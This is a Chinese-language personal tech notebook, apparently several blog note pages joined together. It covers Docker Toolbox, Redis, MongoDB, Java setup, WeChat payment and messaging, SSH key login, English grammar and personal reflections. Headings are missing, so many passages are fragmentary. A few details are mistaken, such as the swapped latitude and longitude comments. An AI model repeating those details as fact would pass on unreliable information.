然后修改Docker Toolbox安装目录下的start.sh,确保docker-machine和VirtualBox的VBoxManage.exe(VirtualBox的命令行界面)的环境变量能够被start.sh识别不至于报错
# 指定DockerToolbox的安装目录(docker-machine)
export DOCKER_TOOLBOX_INSTALL_PATH=/d/Program\ Files/Docker\ Toolbox
export PATH="$(win_to_unix_path "${DOCKER_TOOLBOX_INSTALL_PATH}"):$PATH"
VM=${DOCKER_MACHINE_NAME-default}
DOCKER_MACHINE="${DOCKER_TOOLBOX_INSTALL_PATH}\docker-machine.exe"
STEP="Looking for vboxmanage.exe"
# 指定VirtualBox的安装目录(VBoxManage),还有注释下面的if以免VBOXMANAGE被覆盖
export VBOX_INSTALL_PATH=/d/Program\ Files/Oracle/VirtualBox
VBOXMANAGE=/d/Program\ Files/Oracle/VirtualBox/VBoxManage.exe
#if [ ! -z "$VBOX_MSI_INSTALL_PATH" ]; then
# VBOXMANAGE="${VBOX_MSI_INSTALL_PATH}VBoxManage.exe"
#else
# VBOXMANAGE="${VBOX_INSTALL_PATH}VBoxManage.exe"
#fi
注意这里面是Linux形式的目录,空格要加反斜杠转义或者把整个目录用引号包起来
笔者安装Docker Toolbox是在D:\Program Files,如果读者是安装在C盘,那就是/c/xxx
进入Docker Toolbox安装目录
./start.sh # 启动Docker服务端
docker-machine ip # 返回服务端虚拟机的IP
# 其它验证方法
docker info
docker run hello-world
docker-machine ls
docker-machine stop NAME
以后在开启Docker的服务端只需要docker-machine start NAME
而不是./start.sh
就行啦~
注意每次开启虚拟机的时候都会重新申请一遍ip很慢,可以去控制面板\网络和 Internet\网络连接
修改虚拟机的适配器,手动指定IP
在使用git for windows(mintty)打开容器的时候docker run alpine -it /bin/sh
,会报错,只能用CMD.exe或者winpty docker run alpine -it /bin/sh
,因为mintty不是全功能的,功能不全会导致报错
winpty docker login # 登录docker hub
docker login --username xxx --password xxx url # 登录阿里云docker
项目构建可能会用到make build,在已经安装了git的情况下(相当于安装了精简版的mingw),去 这里 下载 Binaries 和 Dependencies,直接解压到git_root_path/mingw64
window7下利用DockerToolbox安装Docker
[完美解决]如何在windows安装docker toolbox,使用tensorflow,Jupyter Notebook,各种问题的解决方案
One Two Three Four Five Six Seven Eight Nine Ten
[first name] [middle name] [family name]
名 * 名 * 姓
first name 相当于名(正式名)
middle name 一般缩写或省略(例如将James Robert Smith写成James R. Smith)
family name 家族姓
/ˈmɪstər/
先生Mr. [family name]
/ˈmɪsɪz/
夫人(随夫姓)/mɪs/
小姐/mɪz/
女士(不知道结没结婚)系动词:be动词
be动词:am、is、are
人称代词:你我ta
人称代词(单数) | I(第一人称) | you(第二人称) | he,she,it(第三人称) |
---|---|---|---|
be动词 | am | are | is |
不定冠词:a、an
表语:主语的身份、性质、品性、特征、状态
What make is it? 这是什么牌子的?
It's a Mini. 这是一台mini
正式场合:
非正式场合:
Atomicity
Consistency
Isolation
Durability
RDB
还是AOF
都是异步执行的,不保证持久性是出于对性能的考虑redis事务运行过程中可能会碰到3种错误,严重错误是可以回滚的,轻微错误和客观条件的错误不会回滚
redis事务中每添加一条命令就相当于在事务队列里入队,如果在这个过程中有一些语法错误或者其它严重错误,那么redis会记录这种错误(>=2.6.5),并且在执行EXEC
的时候,报错并回滚事务中所有的命令,并且终止事务(注意这3个动词,对于redis事务来说这是3个独立不同的动作)。像输入了错误的命令或参数、内存不足(maxmemory)等都会引发入队错误。
入队错误报错例子:(error) EXECABORT Transaction discarded because of previous errors.
执行错误一般是一些不太严重的错误,如你lpop
了一个字符串类型的key(处理了错误类型的键)。
redis碰到执行错误,不会终止事务也不会回滚,而是保证事务其他部分的正常运行,会返回其它部分的执行情况(如OK
),也会报错。
执行错误报错例子:(error) WRONGTYPE Operation against a key holding the wrong kind of value
服务端直接终结,属于客观条件的错误,虽然很严重,但是redis已经处理不了了,又因为redis事务没有持久化,所以不能回滚,无法保证一致性
redis事务是通过MULTI
、EXEC
、DISCARD
、WATCH
和UNWATCH
五条命令实现的
WATCH
一些键,避免事务执行之前该键被其它命令改动(乐观锁)MULTI
,总是返回OKEXEC
执行EXEC
执行事务,用DISCARD
清空事务队列,并取消事务UNWATCH
所有keyWATCH
命令可以为redis事务提供check-and-set (CAS)
行为,被称为“乐观锁”。
WATCH
命令可以监视一个(或多个) key ,如果在事务EXEC
之前这些key被其他命令所改动,那么整个事务将被abort,当事务被打断,exec就会返回空值nil
。
这里被key被其它命令改动又分两种情况(当然都是exec之前):
这两种情况都会触发乐观锁,如果触发了乐观锁而导致事务打断,可以不断重试(也需要重新watch,但是watch又不能作为事务本身命令的一部分(error) ERR WATCH inside MULTI is not allowed
),直到事务执行成功(说明此时另外的客户端已经没有在set键了)。
127.0.0.1:6379> MULTI
OK
127.0.0.1:6379> SET key1 1
QUEUED
127.0.0.1:6379> HSET key2 field1 1
QUEUED
127.0.0.1:6379> SADD key3 1
QUEUED
127.0.0.1:6379> EXEC
1) OK
2) (integer) 1
3) (integer) 1
watch的意思是CAS(check-and-set)
,检查没有被改变则改变之,改变则exec报错
setnx的意思是NX(not-exist-and-set)
,不存在则set之返回1(成功set一个key<只支持一个key的set>),存在则返回0
当然还存在XX(exist-and-set)
,意思是存在则set。watch不是属于 XX ,因为可以watch一个不存在的key,如果事务exec前存在了,则报错(保证key是在事务中create的)
a fixed-word-order language
以语序固定严格而著称
a textbook grammar
to a mental grammar
尤其是口语和写作属于output
I'm married.
我已经结婚了I got married.
去年结婚的I've been married for over a year.
我已经结婚一年多了word
phrase
sentence
paragraph
discourse
phrase
noun phrase
左二右六
左边有两类定语,右边有六类定语
(前置)定语
性质
和特征
严格的顺序: 限定词+形容词+名词
后置定语
更多的定语用在被修饰名词的后面(右边), 构成后置定语, 所以
head
在前的语言head-first language
head
在后的语言head-last language
语序相反
主谓宾定状补
定语不算真正的句子成分, 定语修饰名词, 只是名词短语的构成成分, 可称为短语成分
句子层面
短语层面
名词:A noun is the name of a person or thing.
名词分为普通名词
和专有名词
common noun
普通名词分为可数名词
和不可数名词
countable noun
(可以被分割)在词典中标注为[C]
uncontable noun
(不可以被分割)可数名词与不可数名词: meaning
单数名词与复数名词: form
单数或者复数, 关键在于可不可数, 有没有数的必要(不要使用汉语思维推己及人)
不可数名词的量化, 不通过数量, 而是其它维度: 重量, 体积等
可不可数 >>> 意义 >>> 上下文
一般做定语的名词都是不可数的, 而作为中心词不代表总体而是特质的话, 一般都是可数的( 总体的和抽象的都不可数 )
简单名词: story, teacher...
复合名词: girlfriend, roommate, mother-in-law
proper noun
表示特定的人, 物, 机构或场所等(首字母大写)
Paris, the United States, Bill Gates
the solar calendar
, 而我国用的是阴阳历(阴历就是the lunar calender
), 所以翻译阴历不能使用上面的月份名称因为是太阳历, 而是要用序数词阴历二月
>>> the second month on the lunar calender
or the second lunar month
农历七月初七
(七夕),同理 >>> the seventh of the seventh lunar month
登陆阿里云, 从控制台选择云数据库MongoDB
, 点击实例id进行管理
在连接信息 (Connection String URI)
下面找到网络类型
->公网
->mongodb://root:****@dds-bpxxxxxx
, 复制下来把星号替换为root密码
连接方式1也就是公网那个地址复制过来的是Primary和Secondary域名都写在一起的方式, 连接方式2也可以直接连Primary就行
Primary显示的是专有网络的域名 其实要连接对应的公网的域名 也就是连接方式1的第一个域名
mongo mongodb://root:****@dds-bpxxxxxxxxxxxx-pub.mongodb.rds.aliyuncs.com:3717,dds-bpyyyyyyyyyyyyyyy-pub.mongodb.rds.aliyuncs.com:3717/admin?replicaSet=mgset-1203073 # 连接方式1 第一个域名就是Primary的公网版本
mongo \
--port 3717 \
-u 'root' \
-p 'xxxxx' \
--authenticationDatabase 'admin' \
dds-bpxxxxxxx-pub.mongodb.rds.aliyuncs.com # 连接方式2
db # 当前数据库
show dbs # 列出所有数据库
use <db_name>
show collections # 显示当前数据库所有的collection(表)
db.getCollection('xxx').find().pretty() # 显示xxx表里所有的document 方式1
db.xxx.find().pretty() # 显示xxx表里所有的document 方式2
db.system.profile.find().pretty().count() # 统计当前数据库的满查询数量
db.system.profile.find({}, { ns: 1, millis: 1 }).limit(10).sort({ millis: -1 }).pretty() # 10个最慢查询
db.system.profile.find({}, { ns: 1, millis: 1 }).limit(10).sort({ ts: -1 }).pretty() # 最新的10个慢查询
db.stats() # 当前数据库状态
{
command: {
find: 'items',
filter: {
sku: '123456'
},
...,
$db: 'test'
}
}
// 等价于
use test
db.items.find({ sku: '123456' })
主要是开启Database Profiler
记录慢查询, 然后根据db.system.profile.find()
来优化代码, 建立索引
MongoDB 查询优化分析
监控mongo 状态慢查询
论MongoDB索引选择的重要性 这里是建议选择createdAt
作为索引而不是_id
, 因为这样会更快
读写指向不同节点, 节点之间数据同步(binlog)
因为读压力更大, 所以都是一主多从架构
bson是字节数组, 前4字节是表示document的大小, 4字节最大能表示4GB, 也就是说, 单个document最大不超过4GB
查询计划: 就是如何执行查询
explain有3种模式:
以数据库jjqshopdb
的users
表为例
use jjqshopdb
db.users.count()
11
查看当前表的索引
可以看到, 默认就对_id
进行了索引, 名为_id_
db.users.getIndexes()
[
{
"v" : 2,
"key" : {
"_id" : 1
},
"name" : "_id_",
"ns" : "jjqshopdb.users"
}
]
创建索引: createIndex
, 当然ensureIndex
也可以, 为了兼容老版本MongoDB 3.0
以前
注意createIndex({ a: 1, b : 1 })
注意不是创建了两个索引a_1
、b_1
而是创建了一个联合索引a_1_b_1
!!!
db.users.createIndex({ telephone: 1 }) // 给用户表建立电话的索引
db.users.getIndexes() // 验证
[
{
"v" : 2,
"key" : {
"_id" : 1
},
"name" : "_id_",
"ns" : "jjqshopdb.users"
},
{
"v" : 2,
"key" : {
"telephone" : 1
},
"name" : "telephone_1",
"ns" : "jjqshopdb.users",
"background" : true
}
]
使用索引进行查询
db.users.find({ telephone: '176xxxx5209' }).explain('executionStats')
{
"queryPlanner" : {
"plannerVersion" : 1,
"namespace" : "jjqshopdb.users",
"indexFilterSet" : false,
"parsedQuery" : {
"telephone" : {
"$eq" : "176xxxx5209"
}
},
"winningPlan" : {
"stage" : "FETCH",
"inputStage" : {
"stage" : "IXSCAN",
"keyPattern" : {
"telephone" : 1
},
"indexName" : "telephone_1", // 使用telephone_1索引!!!
"isMultiKey" : false,
"multiKeyPaths" : {
"telephone" : [ ]
},
"isUnique" : false,
"isSparse" : false,
"isPartial" : false,
"indexVersion" : 2,
"direction" : "forward",
"indexBounds" : {
"telephone" : [
"[\"176xxxx5209\", \"176xxxx5209\"]"
]
}
}
},
"rejectedPlans" : [ ]
},
"executionStats" : {
"executionSuccess" : true,
"nReturned" : 1, // 返回1个文档
"executionTimeMillis" : 0, // 非常快 几乎是 0ms
"totalKeysExamined" : 1, // 使用了1个索引
"totalDocsExamined" : 1, // 只扫描1个文档 没用之前可能得扫描所有文档 如11
"executionStages" : {
"stage" : "FETCH",
"nReturned" : 1,
"executionTimeMillisEstimate" : 0,
"works" : 2,
"advanced" : 1,
"needTime" : 0,
"needYield" : 0,
"saveState" : 0,
"restoreState" : 0,
"isEOF" : 1,
"invalidates" : 0,
"docsExamined" : 1,
"alreadyHasObj" : 0,
"inputStage" : {
"stage" : "IXSCAN",
"nReturned" : 1,
"executionTimeMillisEstimate" : 0,
"works" : 2,
"advanced" : 1,
"needTime" : 0,
"needYield" : 0,
"saveState" : 0,
"restoreState" : 0,
"isEOF" : 1,
"invalidates" : 0,
"keyPattern" : {
"telephone" : 1
},
"indexName" : "telephone_1",
"isMultiKey" : false,
"multiKeyPaths" : {
"telephone" : [ ]
},
"isUnique" : false,
"isSparse" : false,
"isPartial" : false,
"indexVersion" : 2,
"direction" : "forward",
"indexBounds" : {
"telephone" : [
"[\"176xxxx5209\", \"176xxxx5209\"]"
]
},
"keysExamined" : 1,
"seeks" : 1,
"dupsTested" : 0,
"dupsDropped" : 0,
"seenInvalidated" : 0
}
}
},
"ok" : 1,
"operationTime" : Timestamp(1566976793, 1),
"$clusterTime" : {
"clusterTime" : Timestamp(1566976793, 1),
"signature" : {
"hash" : BinData(0,"Q9qoVAZebjbDaoqzMCayySTSpnY="),
"keyId" : NumberLong("6683112302490681460")
}
}
}
删除索引
注意dropIndex({ a: 1, b : 1 })
注意不是删除了两个索引a_1
、b_1
而是删除了一个联合索引a_1_b_1
!!!
注意删除索引删不了_id_
索引, 只能删除表
db.users.dropIndex('telephone_1') # 索引名
db.users.dropIndex({ telephone: -1 }) # 字段名
比如 查看find命令的源代码
db.orders.find
function (query, fields, limit, skip, batchSize, options) {
var cursor = new DBQuery(this._mongo,
this._db,
this,
this._fullName,
this._massageObject(query),
fields,
limit,
skip,
batchSize,
options || this.getQueryOptions());
{
const session = this.getDB().getSession();
const readPreference = session._serverSession.client.getReadPreference(session);
if (readPreference !== null) {
cursor.readPref(readPreference.mode, readPreference.tags);
}
const readConcern = session._serverSession.client.getReadConcern(session);
if (readConcern !== null) {
cursor.readConcern(readConcern.level);
}
}
return cursor;
}
查看db.stats()
的源代码, 会发现等价命令db.runCommand({dbstats: 1})
也就是说可以用db.runCommand()
调用任何命令
注意, 里面的this就相当于外面的db
db.stats
function (scale) {
return this.runCommand({dbstats: 1, scale: scale});
}
// 新版本的MongoDB已经不能直观看出db.runCommand的源代码了, 下面是老版本的
db.runCommand
function (obj, extra) {
if (typeof obj == 'string') {
const n = {}
n[obj] = 1
obj = n
extra && typeof extra == 'object' && Object.keys(extra).forEach(key => {
n[key] = extra[x]
})
}
return this.$cmd.findOne(obj)
}
db.$cmd.findOne({ dbstats: 1 }) // 相当于db.stats()
db.$cmd.findOne('dbstat') // 同上
db.$cmd.findOne({ collstats: 'users' })
所以, 数据库shell命令其实就是在特殊集合$cmd
上面的查询
也就是说, 可以在Driver里面通过runCommand运行MongoDB的命令啦
基础的健身计划,一周健身六天
,分为三个周期,刚好是隔48小时练大肌肉群,每天健身控制在两小时
。
非常重要!!!
俗话说,七分吃,三分练,健身前半个小时吃两只香蕉,健身后喝蛋白粉
一周5次长跑、每次5~10~12km
深蹲
腿蹬
下背
20kg * 2个哑铃 * 4组
夹胸
50kg * 2、40 * 2
同理取消订单也适用于优惠券,可以用消息队列实现
它们的共同点都是要往队列推消息,然后监听,区别是后者谁先听到谁取,消息只被一个使用(一对一),而前者是消息被所有人使用(一对多)
但是一对多可以实现一对一,反过来不行
pub/sub
pro/con
消息的发出者一般是一次性的、不独占连接、可以进行其它操作
消息的接受者则是持续性的、独占连接、不可进行其他操作
必须指出的是:redis的消息发布即失,也就是不保证消息一定能被接受到, 一旦接受端断开连接,将会失去部分消息,即链接失效期间的消息将会丢失,如果要保证其可靠性,必须得使用额外的手段,如定时任务。
redis可以使用psubscribe
命令进行正则匹配订阅
message
pmessage
订阅者:
127.0.0.1:6379> subscribe channel # 订阅名为channel的频道
Reading messages... (press Ctrl-C to quit)
1) "subscribe"
2) "channel"
3) (integer) 1 # 1成功 0失败
1) "message" # 消息类型
2) "channel" # 频道名
3) "hello" # 消息体
发布者:
127.0.0.1:6379> publish channel hello
(integer) 1
注意:redis命令运行成功有的时候是返回1
或者OK
,不过有1就有0,如果又没1又没0也没OK的话那肯定就是失败?
在 Redis 的 2.8.0 版本之后,其推出了一个新的特性——键空间消息(Redis Keyspace Notifications),可配合 2.0.0 版本之后的 sub/pub
键空间消息:影响数据空间的任何操作都会触发两条消息keyspace
、keyevent
(如果开启notify-keyspace-events的K和E的话)
举个例子:在0号数据库del mykey
的时候
127.0.0.1:6379> config set notify-keyspace-events AKE # 监听所有key消息
127.0.0.1:6379> select 0
127.0.0.1:6379> set mykey ''
127.0.0.1:6379> del mykey
会触发一下具体的两行命令:
127.0.0.1:6379> publish __keyspace@0__:mykey del
127.0.0.1:6379> publish __keyevent@0__:del mykey
会收到两个pmessage
127.0.0.1:6379> psubscribe __key*__:*
Reading messages... (press Ctrl-C to quit)
1) "psubscribe"
2) "__key*__:*"
3) (integer) 1
1) "pmessage"
2) "__key*__:*"
3) "__keyspace@0__:mykey"
4) "del"
1) "pmessage"
2) "__key*__:*"
3) "__keyevent@0__:del"
4) "mykey"
键空间消息默认是关闭的以节省CPU开销,有两种方式开启:
notify-keyspace-events Ex
E键空间
+x过期事件
组合而成CONFIG SET notify-keyspace-events Ex
notify-keyspace-events的完整选项
应该订阅的channel是__keyevent@0__:expired
,del
变量不会触发只有到期自动删除才会触发
开启key过期提醒:
127.0.0.1:6379> CONFIG SET notify-keyspace-events Ex
OK
127.0.0.1:6379> CONFIG GET notify-keyspace-events
1) "notify-keyspace-events"
2) "xE"
订阅者:
127.0.0.1:6379> SUBSCRIBE __keyevent@0__:expired
Reading messages... (press Ctrl-C to quit)
1) "subscribe"
2) "__keyevent@0__:expired"
3) (integer) 1
1) "message"
2) "__keyevent@0__:expired"
3) "a"
1) "message"
2) "__keyevent@0__:expired"
3) "b"
发布者(严格来说不算):
127.0.0.1:6379> set a 1 ex 3
OK
127.0.0.1:6379> set b 2
OK
127.0.0.1:6379> ttl b
(integer) -1
127.0.0.1:6379> expire b 2
(integer) 1
const Redis = require('ioredis') // 因为会阻塞所以新建一个监听
const ctx = app.createAnonymousContext()
const { config } = app
const { client } = config.redis
const sub = new Redis(client)
sub.config('set', 'notify-keyspace-events', 'Ex')
const kevent = '__keyevent@0__:expired'
sub.subscribe(kevent)
sub.on('message', async (channel, message) => {
console.log('收到消息', channel, message)
switch (channel) {
case kevent:
const order_sn = message
// 取消订单
break
}
})
sub.on('error', err => {
console.log('REDIS CONNECT error', err)
console.log('node error', err.lastNodeError)
})
单元测试(unit testing)指的是以软件的单元(unit)为单位,对软件进行测试。单元可以是一个函数,也可以是一个模块或组件。它的基本特征就是,只要输入不变,必定返回同样的输出。
单元测试只是测试中的一种,开发中常用的测试一般分三种:
随着其集成度的递增,对应的自动化程度递减,e2e的集成度是最高的。
最佳实践:我们把绝大部分能在单元测试里覆盖的用例都放在单元测试覆盖,只有单元测试测不了的,才会通过端到端与集成测试来覆盖。
code coverage
用于统计测试用例对代码的测试情况,生成相应的报表,如istanbul
。
表格中的第2列至第5列,分别对应了四个衡量维度:
statement coverage
:是否每个语句都执行了branch coverage
:是否每个if代码块都执行了function coverage
:是否每个函数都调用了line coverage
:是否每一行都执行了Java不单是一门计算机编程语言,代表着一个平台,从应用平台上可以分3大块:
Java SE是各个应用平台的基础,包含了:
具体程序就是java.exe
:启动JVM,把字节码文件Xxx.class
加载并运行
注意执行的时候不要带class后缀java Xxx
就行
把源代码Xxx.java
编译为字节码Xxx.class
,字节码文件也叫类文件
JREJava Runtime Environment
,是Java的运行环境,包含了Java虚拟机和标准库
JDK已经包含了JRE了,但是和单独安装的JREPrivate JRE
不同,JDK自带的JRE叫Public JRE
,只有一些细微的不同,总结一句话:装了JDK就没必要再装JRE了
Software Developers: JDK (Java SE Development Kit). For Java Developers. Includes a complete JRE plus tools for developing, debugging, and monitoring Java applications.
Administrators running applications on a server: Server JRE (Server Java Runtime Environment) For deploying Java applications on servers. Includes tools for JVM monitoring and tools commonly required for server applications, but does not include browser integration (the Java plug-in), auto-update, nor an installer. Learn more arrow
End user running Java on a desktop: JRE: (Java Runtime Environment). Covers most end-users needs. Contains everything required to run Java applications on your system.
来源:https://www.oracle.com/technetwork/java/javase/downloads/index.html
JDK9之前,JRE所包含的java.exe
是在/jdk/jre/bin/java.exe
,而JDK9及之后的版本,不会有单独的public jre文件夹了而是在/jdk/bin/java.exe
JSR正式文件
,JCP投票通过后,方可成为Java的最终标准文件
Reference Implementation
Tecnology Compatibility Kit
只有JSR通过后,提供了RI和TCK,并通过了TCK测试,才能够算是成为Java的一部分
Windows只认Path,JVM只认CLASSPATH
CLASSPATH也可手动指定,如以下都是要运行c:\classpath\Hello.class
的命令
java classpath c:\classpath Hello
java cp c:\classpath Hello
.
当前目录(如果是Linux则不会,所以需要类似./start
)注意,命令行窗口会把系统环境变量和用户环境变量都取出来:
echo %path%
; 输出
; C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\Wind
; owsPowerShell\v1.0\;D:\sdk\platform-tools;D:\flutter\bin;d:\Program Files\Docker
; Toolbox
所以用bat
进行环境配置还是有限制的,会导致和系统环境变量的重复和分号的重复
java -cp
自行指定的目录.
当前目录注意:JDK8之后就不包括/jdk/lib/dt.jar
和/jdk/lib/tools.jar
,再加上之前说的jre位置的变化,所以JDK环境变量应该这样设置:
setx CLASSPATH ".;%1\lib\dt.jar;%1\lib\tools.jar"
setx Path "%1\bin;%1\jre\bin;%PATH%"
可以看到JDK8的CLASSPATH命令下是文件而不是文件夹!是因为jar可以被理解为是压缩了很多class文件的特殊的文件夹
如果一个文件夹下有很多jar文件怎么办呢:c:\jars\*
,JDK6开始可以用*
号代表使用文件夹下的所有jar包
setx Path "%1\bin;%PATH%"
把以上两段代码其中一段保存为SetJDK.bat
,把解压后的JDK文件夹拖到这个文件上即可
注意:代码中%0
代表拖入文件夹的绝对地址
setx
和set
命令的区别:前者是可以设置用户环境变量的命令,后者是当前命令行窗口的session有效虽然优先级是最高的,但是关闭窗口设置的环境变量就没了
当前目录D:\workspace\
代码文件./Hello.java
用到的库文件./classes/Console.class
如果你的代码中使用了标准库之外的类,怎么编译和运行?
javac -cp classes Hello.java
java cp .;classes Hello
javac会把class文件生成在当前文件夹下,和java文件混在一起
javac -sourcepath src -d classes src/Main.java
意思就是源代码在src文件夹,编译好的类文件在classes文件夹
小技巧:javac Xxx.java -verbose
显示编译时期的详情,查看编译器是怎么搜索源代码文件和字节码文件的
javac Hello.java -verbose
; [源文件的搜索路径: .,D:\jdk8\lib\dt.jar,D:\jdk8\lib\tools.jar]
; [类文件的搜索路径: D:\jdk8\jre\lib\resources.jar,D:\jdk8\jre\lib\rt.jar,D:\jdk8\
jre\lib\sunrsasign.jar,D:\jdk8\jre\lib\jsse.jar,D:\jdk8\jre\lib\jce.jar,D:\jdk8\
jre\lib\charsets.jar,D:\jdk8\jre\lib\jfr.jar,D:\jdk8\jre\classes,D:\jdk8\jre\lib
\ext\cldrdata.jar,D:\jdk8\jre\lib\ext\dnsns.jar,D:\jdk8\jre\lib\ext\localedata.j
ar,D:\jdk8\jre\lib\ext\nashorn.jar,D:\jdk8\jre\lib\ext\sunec.jar,D:\jdk8\jre\lib
\ext\sunjce_provider.jar,D:\jdk8\jre\lib\ext\sunmscapi.jar,D:\jdk8\jre\lib\ext\s
unpkcs11.jar,D:\jdk8\jre\lib\ext\zipfs.jar,.,D:\jdk8\lib\dt.jar,D:\jdk8\lib\tool
s.jar]
经历过真正艰苦岁月的那些人,大部分都是非常勤俭节约的,是真正看透了生活本质的
严于律己 宽以待人
多陪陪家人,多联系,多看望
他们是你与赤裸现实和死亡的一道墙,没有他们,你就得直面这些了
生命的珍贵不在于长度,而在于宽度
正是因为生命是短暂的,所以关于活着这件事,死亡是最好的老师
我们应该在有限的生命里,深入思考,到底什么对于我们自己是最重要的,我们这一生应该如何度过,暮年回首往事,才不留遗憾
生命的垂暮之年,在病床上回首往事,有很多事情和选择一定可以做的更好。
如果回到以前那些个时候,还会把时间花在那些事情上吗(有所不为),是不是有些遗憾可以弥补,有些梦想可以再去追寻?(有所为)
想清楚之后,一个响指,回到现在,现在还年轻,一切都还来得及,一切都还充满希望
国企那么优越的条件,混得也不差,依然还是选择离职专职做这个读书频道,这不仅仅是努力这么久的实力,这也是一种努力,一种决心
鱼和熊掌是不可兼得的,放弃了国企的工作,晓书童他将会有更多的时间耕耘频道,有更多的时间陪伴家人,照顾子女
虽然更多了对生存的惶恐,但下定了决心,做好了承担一切后果的准备,剩下的只是坦然了
在一个公司上班,这只是你的职业,你的事业是你真正想做的那些事,并且可以给你带来财务自由
所谓财务自由,是指你不再为钱而工作,你要花的钱,只要从你利润中取一部分便可满足需要,这个利润是从资产中来
资产与负债的区别,资产可以产生利润,负债只会继续消耗你的钱
理性的灵魂和健康的体魄是人生在世追求所有幸福与快乐的先决条件,缺一不可
尽管需要持之以恒,并且困难重重,但这确是必须要做的事情
其实做成某件事,不仅需要坚持,还要学会放弃,有所为有所不为,你选择健身,你就要放弃很多娱乐休息的时间并且坚持运动
你为了做什么而不做什么,这更能显示出你的伟大
对一个孩子最大的期望,大概就是,能享受最好的,也能承受最坏的,无论顺境逆境,都能找到生活的意义,都能有感知幸福的能力
在逆境中感受幸福,才是最纯粹的幸福
那些成功的人,不是因为成功了才幸福,而是因为幸福而成功
我们眼中艰苦卓绝的攀登,对别人来说不过是乐在其中的旅程
金钱最大的作用,在于能让人自由的选择自己喜欢的事物,而不是被物质生活所困
让我们经历的一切都是因为我选择、我愿意,而不是没办法、不得不
从懂得一个道理,到想清楚,变成改变自己生活轨迹的行动,并坦然接受最终的后果,这之间是时间与经历的鸿沟,等这一切都结束,才有资格说,我也许真的懂了那么一点点
不管是什么消息类型, 不管是接受还是发送消息, 下面这些属性是共通的
xml {
ToUserName, // 接收方帐号(收到的OpenID)
FromUserName, // 开发者微信号
CreateTime, // 消息创建时间(整型)
}
当普通微信用户向公众账号发消息时,微信服务器将POST消息的XML数据包到开发者填写的URL上。
普通消息的类型是通过MsgType
表示的, 目前有7种:
用户的某些操作会事件推送
xml {
MsgType: 'event',
Event // 区分事件类型
}
MsgType == event
, 具体是什么事件则通过Event
字段表示, 目前有4种情况:
xml {
Event: 'subscribe' || 'unsubscribe'
}
分成两种情况
xml {
Event: 'subscribe',
EventKey, // 事件KEY值,qrscene_为前缀,后面为二维码的参数值
Ticket // 二维码的ticket,可用来换取二维码图片
}
xml {
Event: 'SCAN',
EventKey, // 事件KEY值,是一个32位无符号整数,即创建二维码时的二维码scene_id
Ticket // 二维码的ticket,可用来换取二维码图片
}
xml {
Event: 'LOCATION',
Latitude, // 经度
Longitude, // 纬度
Precision // 地理位置精度
}
注意,点击菜单弹出子菜单,不会产生上报
分成两种情况
xml {
Event: 'CLICK',
EventKey // 事件KEY值,与自定义菜单接口中KEY值对应
}
xml {
Event: 'VIEW',
EventKey // 事件KEY值,设置的跳转URL
}
错误catch不到:异步函数一定要加await
或者Promise.catch
服务器时区正常,MongoDB时区为0,那么
Number('') // 0
parseInt('') // NaN parseInt只接收字符串 其它会直接NaN 传数字的话会先转为字符串然后再处理转为数字
isNaN('') // false
// 所以要过滤空字符串:
isNaN(parseInt(x))
仓库 -> setting -> Collaborators -> add collaborator
在输入框输入对方的GitHub名字或者注册邮箱即可
添加后,把邀请链接发给对方,对方打开同意即可
最后,对方(协作者)可以在其setting -> Repositories最底部看到这个仓库。在github首页是看不到的
在函数a内部定义的函数b, 就算它b在其它t地方执行, 作用域也在定义它b的那里a
意义就是 a, b之间 不用传参数 直接用就是
如果b不在a里面定义, 就算是通过传参传过来, 那也不是同一个作用域了(一定要在内部定义)
function a (id=1) {
function b () { console.log(id) }
t(b)
}
function t (f) { f() }
a() // 1
var img = new Image()
img.src = undefined // 除非是base64字符串 否则会发起网络请求
// 如果是字符串且没有协议头那么就会以当前 url 加上现在的字符串 为请求url
// 如 http://m.acgsun.com/undefined 如果是服务端渲染 可能导致页面挂掉!
// 空字符串不会网络请求因为默认就是空字符串
SEO和PPC都是属于SEM,在国内SEM可以理解为付费广告
, SEO可以理解为自然排名
window.location.assign(url)
window.location.replace(url)
window.location.reload()
如果有 POST 数据提交,则会重新提交数据;location.reload()
则将新的页面以替换当前页面,它是从服务器端重新获取新的页面,不会读取客户端缓存且新的 URL 将覆盖 History 对象中的当前纪录(不可通过后退按钮返回原先的页面)。
如果想要刷新当前的页面,又避免 POST 数据提交,可以使用:
window.location.replace( location.href )
参考: https://blog.csdn.net/u010597202/article/details/78666913
商户侧统一下单传的终端IP(spbill_create_ip)与用户实际调起支付时微信侧检测到的终端IP不一致导致的
解决方案: 阿里云k8s集群ctx.header['x-original-forwarded-for'] || ctx.header['x-forwarded-for'] || ctx.ip
第一个是真实ip但有但时候没有, 第二个一般不是真实ip只有在第一个没有的时候为真实ip, 最后一个是在本地测试的时候用的, 因为本地的时候 前两个都是空
谷歌输入框:
关键字 site:xxx.com
服务端
$ vi /etc/ssh/sshd_config
RSAAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysFile %h/.ssh/authorized_keys
$ service sshd restart
# 实在不行的话可能就是权限的问题了, 试试下面
$ chmod 700 /home/username # 确保用户权限
$ chmod 700 ~/.ssh/ # 确保.ssh文件夹权限
$ chmod 600 ~/.ssh/authorized_keys # 确保~/.ssh/authorized_keys 文件权限
客户端
$ ssh-copy-id username@host # 发送公钥到服务器
参考: ssh 免密码登录(设置后仍需输密码的原因及解决方法) - shi_xin的专栏 - CSDN博客
检查trade_type
是否正确, 如在应该公众号支付的时候trade_type却等于MWEB
h5支付
先看官方回答
time_expire失效时间是商户订单号的失效时间,可以由商户自己设置。订单失效时间是针对订单号而言的,由于在请求支付的时候有一个必传参数prepay_id只有两小时的有效期,所以在重入时间超过2小时的时候需要重新请求下单接口获取新的prepay_id,商户订单号的失效时间和prepay_id失效时间不同,请注意区别
过期时间是针对prepay_id的, 最大不超过2h, 每次调用统一下单会刷新prepay_id, 所以要缓存统一下单, 失效时间才有效果, 而且还避免了微信报错重复下单
(通常在jsapi没支付后又发起别的支付如mweb)
!!JSON.parse(value)
!!JSON.parse(value)
JSON.parse('false') // false
Boolean('false') // true
!!'false' // true
本质: 关于支付的配置都被移到了商户平台
解决方法: 登录微信商户平台-产品中心-开发配置,配置支付授权路径。填上前端首页的域名 最后要有/,表示该路径下的页面都可以调起微信的支付接口
参考: https://blog.51cto.com/11692458/2067428
本质: 公众号支付前端签名错误
任何微信支付里面关于前端jssdk的文档都过时了(WeixinJSBridge早已过时), 要去(公众号的文档)[https://developers.weixin.qq.com/doc/offiaccount/OA_Web_Apps/JS-SDK.html]去查看
参与签名(paySign): appId、timeStamp、nonceStr、package、signType(区分大写)
